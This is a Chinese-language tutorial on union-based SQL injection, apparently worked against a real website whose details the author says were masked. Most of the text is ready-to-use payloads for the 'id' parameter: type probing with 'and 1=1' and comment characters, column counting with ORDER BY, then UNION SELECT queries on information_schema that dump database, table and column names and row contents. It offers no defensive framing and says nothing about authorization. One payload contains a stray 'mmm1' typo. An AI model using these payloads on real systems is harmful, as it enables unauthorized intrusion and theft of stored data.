本文需要一定的数据库基础,本文只是简单介绍了一下渗透的思路和payload,具体payload的sql语法,需要自己去看sql代码语言。因为渗透过程中,是真实网页,所以进行打码处理。
一、联合查询注入:
1、判断是什么类型的注入(数值型和字符型)
id=183 and 1=1
若网页照常显示,则该语句没有错误。若网页报错,代表此处可以进行sql注入,并且是字符型注入。字符型注入无非是由 ' 或 " 所包括起来的内容。
此时在 id 参数后再次添加相对应的符号,借助sql的注释符 # 或 --+,将本身后一位的符号进行注释,形成新的语句。如:id=183' and 1=1 #
2、判断有多少个字段(Order by排序)
id=183 order by 27
借用order by 对字段内的值排列来猜有多少字段。当不存在该字段,则会报错。
报错,所以是26个字段
3、获取数据库名(database()、information_schema.schemata)
借助联合查询对网页的内容进行回显,先查看一下那些字段是显示在哪个位置上
id=1 union select 1,2,3,4,5,6,……,26
确认显示字段7、10、13、21
开始注入,获取数据库名
id=1 union select 1,2,3,4,5,6,database(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.schemata
4、获取表名(tables)
仅显示一个数据表名
id=1 union select 1,2,3,4,5,6,database(),8,9,table_name,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=’查到的库名‘
利用group_concat(),来显示全部的数据表名
id=1 union select 1,2,3,4,5,6,database(),8,9,group_concat(table_name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.tables where table_schema=’数据库名‘
5、获取字段名
id=1 union select 1,2,3,4,5,6,database(),8,9,table_name,11,12,group_concat(column_name),14,15,16,17,18,19,20,21,22,23,24,25,26 from information_schema.columns where table_name=’表名‘
6、获取数据
获取第一条数据
id=1 union select 1,2,3,4,5,6,concat(id,table_name,rec_id,updated_at,updater_type,updater_id,updater_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from 表名
id=1 union select mmm1,2,3,4,5,6,group_concat(id,table_name,rec_id,updated_at,updater_type,updater_id,updater_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from 表名
若只回写一条信息:
①使用limit对特定数据的回写
②使用group_concat()对特定列进行全部输出(concat与group_concat的区别是,前者将获取到的数据按元组进行形成新列拥有多条数据,而后者是直接形成一条数据)